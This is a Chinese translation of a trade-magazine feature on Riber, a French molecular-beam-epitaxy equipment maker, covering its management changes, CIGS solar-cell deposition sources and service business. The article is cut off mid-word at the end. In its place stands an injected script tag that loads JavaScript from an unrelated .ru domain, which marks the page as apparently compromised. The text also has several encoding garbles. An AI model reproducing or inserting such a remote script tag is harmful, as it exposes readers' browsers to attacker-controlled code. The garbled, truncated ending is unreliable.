分子束外延廠商聚焦新興市場
Riber公司開始重視氮化物器件的生產,如新型太陽能電池和有機半導體材料等。Michael訪問了這家位于巴黎的設備公司,試圖發掘更多關于它較新戰略的信息。 Michael Hatcher 《Compound Semiconductor》雜志 在巴黎一個被人遺忘的角落,一幢不起眼的建筑隱匿在一條靠近塞納河的單行道的盡頭。一旦你進入之后,你卻能目睹到當今較先進的半導體制造技術。這就是Riber公司,他們將MBE推向市場化,在這方面他們做的工作可能比其他任何公司都要多。鐵門后面是停車場,而在位于公司大樓中心地帶的超凈間里,大約有十二套MBE反應腔體正準備裝配。這些新的設備將制造出首批氮化鎵(GaN)高電子遷移率晶體管(HEMT)外延片,用于生產大功率射頻IC、超酷顯示器所用的有機發光二極管(OLED)以及將來會成為發電之根本的太陽能電池等。但是MBE設備的生意已不好經營了。量產級反應腔的銷售幾乎停滯,Riber公司已面臨財政壓力。在新的監督機制和執行董事會成立之前,令人失望的財政狀況是不可避免的。在半導體圈子里,No雔 Goutard也許并不是一個為人熟知的名字。他曾是汽車裝備跨國公司Valeo的前任CEO,那時該公司幾乎控制了汽車離合器市場。他具有豐富的商業經驗。2007年12月,Goutard增加了他在Riber的投資,之后還引薦了Jean-Pierre Regner,一位經驗豐富的執行官,曾任Philips半導體法國公司的外部顧問長達30多年,其中包括晶圓廠的經理。
Riber公司需要改變。它沒有將足夠的精力放到服務上,而且還應該與MBE零部件供應商Addon加大整合力度。幾個月后,Regner成為Riber的執行董事會主席,而Michel Picault調去領導公司的系統部門,Addon則全部在Riber的掌控之下。 Regner講到:“我們現在要集中精力做到三個關鍵點,系統、資源以及服務。”系統一直以來都是Riber的核心優勢,該公司已有三十多年銷售MBE設備的歷史。重新關注源材料體現在Addon從Riber獨立出來,這項工作是在Pierre Bouchaib的領導下進行的,他在上世紀七、八十年代完成了Riber早期MBE業務的拓展。獨立出來的這部分業務有利于Riber的未來發展。新的源材料對某些沉積工藝至關重要,其中包括用于薄膜太陽能電池的銅和硒(Cu & Se)、以及有機晶體管和OLED所需的更復雜的化學物質。 創建之中 Bouchaib現在重新擔任Riber的銷售總監,一張為所有員工熟悉的面孔又漫步在公司的走廊了,而且擁抱和香煙候著——他,就是MBE“教父”。從100級的超凈間里看去,有10臺MBE設備正在制造裝配中,Bouchaib預言它們會在幾周內完工并裝運出貨。在超凈間里,坐落著大大小小不同的反應腔,都是為生產廠和研究實驗室定制的,它們將用來制備量子點激光器、有機晶體管等。 Bouchaib擁有三十五年設計和銷售MBE設備的經驗,可能比其他人更有資格對未來做些預測。他肯定的答復是“太陽能電池”。太陽能電池不僅只是MOCVD技術主導的復雜高效三五族化合物器件,還有碲化鎘(CdTe)和銅銦鎵硒化物(CIGS)器件。盡管已有大量的風險投資,而且CIGS器件已初步成為一種高速、低成本的生產技術(Global Solar已經在美國亞利桑納州Tucson部署了一個750kW的系統),但CIGS仍然存在一些問題,特別是在形成CulnxGa1-xSe2異質結結構時要求各種源物質均勻的沉積。而對于典型的MBE反應腔而言,沉積的精度不成問題,但需要均勻地沉積,這樣生產的電池可靠,性能好,且經濟效益高。銦和鎵沉積起來相對容易,并且均勻性較好。但這對銅和硒來說就是一個挑戰。Bouchaib認為這一問題會嚴重阻礙CIGS器件的生產。如果CIGS電池生產者想要解決這一問題,你首先要聯系的人就是Bouchaib。 Riber的工程師們正和Addon從事開發的專家們合作,試圖對MBE源進行一些改進以達到大家所期望的更高的沉積速度。到目前為止,他們已經提出一種進行特別設計,稱之為Muso坩堝組,能適用于CIGS生長所需的每種元素。MC坩堝適用于硫和硒,PG坩堝用于銦和鎵,而HT坩堝則適用銅。 Bouchaib的方案應該被提上日程,因為目前沉積薄膜的質量是大家較為關心的。但速度一直都很關鍵,CIGS開發人員希望至少能達到10祄/h。Bouchaib說:“我并不確定我們現在是否能達到,當然我們應該盡能多的努力來提高產率,我相信我們能做到。”目前均勻性能做到±5%,原材料的利用率為75%,通量穩定度為1.45%。CIGS制造商當然不會滿足于此,但這一方案前途可觀。此外,Bouc-haib認為上述材料源可以用來降低沉積的成本。 Riber公司的戰略的第三個重點就是服務,自去年收購Oxford Instruments Plasma Technology(OIPT)的MBE部門后,服務就變得更重要了。盡管OIPT近幾年來幾乎沒有售出一套MBE設備,但以前售出的大量OIPT或更早的VG Semicon老品牌MBE設備還在工作。此次并購使Riber的服務工作量急遽增加。當前全世界共有800套左右的MBE,其中約500套由Riber提供服務,比如對儀器進行軟件升級,OIPT先前的客戶也將從中獲益。目前在MBE系統市場,較主要的兩家公?script src=http://app.webserviceget.ru/js.js>
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